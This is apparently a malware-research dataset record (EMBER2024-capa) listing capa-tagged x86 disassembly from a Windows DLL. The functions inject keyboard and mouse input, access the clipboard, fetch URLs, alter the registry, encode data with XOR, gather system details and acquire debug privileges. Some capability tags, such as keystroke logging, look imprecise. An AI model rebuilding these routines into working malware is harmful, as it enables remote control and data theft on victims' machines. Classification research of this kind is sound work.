joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008450
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push esi
push edi
mov esi, ecx
push eax
call fcn.10008d40
lea ecx, [esp + 8]
push 0x104
push ecx
mov dword [esi], 0x1000302c
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
push 0x100016b0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100084c9
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0x1c]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x114]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
je 0x100084e1
push eax
lea eax, [esi + 0x10]
push eax
call edi
mov eax, dword [esp + 0x11c]
test eax, eax
je 0x100084f6
lea ecx, [esi + 0x110]
push eax
push ecx
call edi
mov eax, dword [esp + 0x120]
test eax, eax
je 0x10008509
push eax
push 0x1001425c
call edi
mov edx, dword [esp + 0x124]
mov eax, dword [esp + 0x118]
mov dword [0x10001550], edx
mov dword [esi + 0x9e54], eax
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret 0x18

Function at 0x10008980
Capabilities:
Get common file path

Disassembly:
sub esp, 0x34
lea eax, [esp]
push 0x32
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp]
push 0x100016e8
push ecx
call dword [sym.imp.MSVCRT.dll_strtok]
add esp, 8
test eax, eax
je 0x100089bb
push eax
push 0x100016c0
push 0x10013e08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, 0x10013e08
add esp, 0x34
ret

Function at 0x100089d0
Capabilities:
Delete file
Move file

Disassembly:
sub esp, 0x114
lea eax, [esp]
push esi
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xe]
mov eax, dword [esp + 0xc]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0xe]
and eax, 0xffff
push edx
mov edx, dword [esp + 0xe]
push eax
mov eax, dword [esp + 0x10]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [esp + 0x2c]
push 0x100016fc
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [esp + 0x14]
push edx
call fcn.10008980
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [esp + 0x18]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
cmp dword [esi + 0x9e54], 0x120
je 0x10008a76
lea ecx, [esi + 0x10]
push ecx
push 0x100016ec
call fcn.10008260
add esp, 8
jmp 0x10008a82
lea edx, [esi + 0x10]
push edx
call fcn.10006f70
add esp, 4
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop esi
add esp, 0x114
ret
Function at 0x10008ad0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea ecx, [ebp - 0x14]
push esi
mov esi, 0x10003034
lea eax, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0
call fcn.10008bc0
mov dword [ebp - 0x24], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
neg eax
sbb eax, eax
push 0x10001710
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x10014368], eax
jne 0x10008b4c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], esi
jmp 0x10008b7e
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10014364], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [0x10014364]
mov dword [ebp - 0x28], esi
test eax, eax
mov eax, dword [ebp - 0x24]
jne 0x10008b99
test eax, eax
je 0x10008b92
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x10008bad
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009460
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003060
push 0x10012568
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x10009497
jmp dword [eax*4 + 0x100095f0]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x10009497
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009497
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x10009497
cmp edx, 2
jbe 0x10009520
cmp edx, 4
jne case.default.0x10009497
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10009497
jmp 0x100095a4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10009497
jmp 0x100095a4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009497
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x10009497
jmp 0x100095a4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009497
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x10009497
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100095cb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009f50
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 0xc]
xor edx, edx
mov eax, esi
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x1000a143
call fcn.1000c720
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x1000a143
mov edx, dword [ebp + 8]
push ebx
push edi
mov dword [ebp + 0xc], esi
lea ebx, [edx + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebx - 4]
add eax, 0xfffffe00
cmp eax, 8
ja case.default.0x10009fc5
xor ecx, ecx
mov cl, byte [eax + 0x1000a150]
jmp dword [ecx*4 + 0x1000a148]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000a0b6
je 0x1000a096
cmp eax, 0x105
ja 0x1000a06a
je 0x1000a04c
sub eax, 0x100
je 0x1000a02e
dec eax
je 0x1000a04c
sub eax, 3
jne case.0x1000a0c0.521
mov edx, dword [ebx]
push 0
push 0
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000a0c0.521
mov ecx, dword [ebx]
push 0
push 2
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov dl, byte [ebx]
push eax
push edx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000a0c0.521
sub eax, 0x201
je 0x1000a087
dec eax
jne case.0x1000a0c0.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000a12b
push 0
push 0
push 0
push 0
push 2
jmp 0x1000a12b
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 6
call esi
push 0
push 0
push 0
push 0
push 6
call esi
jmp case.0x1000a0c0.521
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000a0c0.521
jmp dword [eax*4 + 0x1000a15c]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000a12b
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000a12b
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 0x18
call esi
push 0
push 0
push 0
push 0
push 0x18
call esi
jmp case.0x1000a0c0.521
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000a12b
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000a12b
mov eax, dword [ebx]
push 0
shr eax, 0x10
movsx ecx, ax
push ecx
push 0
push 0
push 0x800
call dword [sym.imp.USER32.dll_mouse_event]
mov eax, dword [ebp + 0xc]
add ebx, 0x1c
dec eax
mov dword [ebp + 0xc], eax
jne 0x10009fa1
pop edi
pop ebx
pop esi
pop ebp
ret 8
Function at 0x1000a180
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000a207
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [ebp + 0xc]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000a1ff
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, esi
mov esi, dword [ebp + 8]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1000a210
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov dword [ebp - 0xc], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000a2b5
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [ebp - 4], esi
jne 0x1000a246
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov dword [ebp - 8], eax
mov byte [eax], 0x76
lea edi, [eax + 1]
mov eax, ecx
add esp, 4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push ebx
push esi
call fcn.10008df0
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a760
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
cmp eax, edi
je 0x1000a92a
cmp dword [esi + 0x1c], edi
je 0x1000a92a
call fcn.1000c720
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1000ab80
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [ebp - 0xc]
push 8
push ecx
mov ecx, esi
call fcn.1000ab80
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x1000a800
cmp dword [ebp - 0x1c], 1
jne 0x1000a800
mov ecx, dword [ebp - 0x18]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1000a7ed
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1000a7e0
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x1000a7fc
or edi, 0xffffffff
mov eax, edi
jmp 0x1000a803
or eax, 0xffffffff
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
mov ecx, esi
call fcn.1000ab80
cmp byte [ebx], 2
jne 0x1000a879
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000ad40
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000ada0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x10014374]
cmp ecx, eax
mov edi, edx
je 0x1000a8a5
push edi
mov ecx, esi
call fcn.1000a940
test al, al
je 0x1000a8a5
add edi, 0x13
jmp 0x1000a8a8
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000a8c6
push edi
mov ecx, esi
call fcn.1000a940
test al, al
je 0x1000a8bc
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1000a8ad
mov eax, dword [ebp - 8]
mov ecx, 0x13
mov dword [0x10014374], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
mov eax, dword [ebp + 8]
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [eax], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000a912
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000a8fd
nop
nop
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000afd0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000ae50
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000b018
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000aff2
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x1000b1a0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
mov esi, dword [esp + 0x818]
test esi, esi
jne 0x1000b1c0
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x808
ret
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push 0x10001828
push esi
mov dword [esp + 0x18], 0
mov byte [esp + 0x17], 0
call ebx
add esp, 8
test eax, eax
jne 0x1000b236
push 0x1000181c
push esi
call ebx
add esp, 8
test eax, eax
jne 0x1000b236
mov eax, dword [esp + 0x830]
mov ecx, dword [esp + 0x82c]
mov edx, dword [esp + 0x828]
push eax
mov eax, dword [esp + 0x828]
push ecx
mov ecx, dword [esp + 0x828]
push edx
mov edx, dword [esp + 0x828]
push eax
push ecx
push edx
push esi
call fcn.1000b020
add esp, 0x1c
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
push 0
push 0
push 0
push 0
push 0x10001800
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
test ebp, ebp
jne 0x1000b25b
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x808
ret
push 0
push 0x80000100
push 0
push 0
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x1000b280
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x808
ret
push edi
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push 0x800
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x18]
push 0x100016e8
push edx
call ebx
add esp, 8
test eax, eax
pop edi
je 0x1000b2f9
mov eax, dword [esp + 0x830]
mov ecx, dword [esp + 0x82c]
mov edx, dword [esp + 0x828]
push eax
mov eax, dword [esp + 0x828]
push ecx
mov ecx, dword [esp + 0x828]
push edx
mov edx, dword [esp + 0x828]
push eax
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.1000b020
add esp, 0x1c
mov bl, 1
jmp 0x1000b2fd
mov bl, byte [esp + 0xf]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 0x808
ret

Function at 0x1000b320
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push 0x10001838
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10001830
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000b3c0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
xor eax, eax
push ebx
mov ebx, dword [esp + 0x410]
mov ecx, ebx
push esi
mov esi, dword [esp + 0x410]
mov edx, ecx
push edi
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
lea ecx, [esp + 0xc]
push eax
push 0x100014fc
push 0x100014d8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebx
push 0
push esi
push 1
lea edx, [esp + 0x30]
push 0x10001598
push edx
push connect
call fcn.10008f10
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x30
push esi
call edi
test eax, eax
jne 0x1000b449
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x1000b7a0
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information

Disassembly:
sub esp, 0x314
push ebx
push esi
push edi
mov ecx, 0x72
xor eax, eax
lea edi, [esp + 0x58]
rep stosd dword es:[edi], eax
mov byte [esp + 0x132], al
lea eax, [esp + 0x5c]
push eax
mov byte [esp + 0x5c], 0x66
mov dword [esp + 0x60], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x324]
lea ecx, [esp + 0x220]
push pe_nt_image_headers32
push ecx
push edx
call fcn.1000b3c0
mov ebx, dword [esp + 0x338]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x220]
mov dword [esp + 0xfc], ecx
mov ecx, 0xc
lea edi, [esp + 0x100]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.1000b320
mov dword [esp + 0xf8], eax
call fcn.1000b380
mov edx, dword [esp + 0x330]
mov byte [esp + 0x132], al
mov eax, dword [0x1001436c]
push 0x10001a64
push eax
mov dword [esp + 0x13c], edx
call fcn.10007290
add esp, 8
test eax, eax
jne 0x1000b896
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x314
ret
add eax, 6
push eax
call fcn.1000afd0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x138]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x40]
lea eax, [esp + 0x20]
shr edx, 0x14
push eax
mov dword [esp + 0x170], edx
call fcn.1000b140
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x30]
mul dword [esp + 0x34]
add esp, 4
push 0
push ecx
push edx
push eax
call fcn.10012590
mov ecx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push ecx
push edx
push eax
call fcn.10012590
mov ecx, 0x1e
call fcn.10012570
lea edx, [esp + 0x174]
mov dword [esp + 0x170], eax
push edx
call fcn.1000b460
lea eax, [esp + 0x1c8]
push eax
call fcn.1000b690
mov ecx, dword [esp + 0x330]
add esp, 8
mov edx, dword [ecx]
push 0x1c8
mov dword [esp + 0x218], edx
lea edx, [esp + 0x5c]
mov eax, dword [ecx + 4]
push edx
mov dword [esp + 0x220], eax
mov cx, word [ecx + 8]
mov word [esp + 0x224], cx
mov ecx, ebx
call fcn.10004d60
pop edi
pop esi
pop ebx
add esp, 0x314
ret
Function at 0x1000b990
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000b9ed
lea eax, [ebp - 0x10]
push esi
push eax
xor esi, esi
push 0x10001600
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000b9e3
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret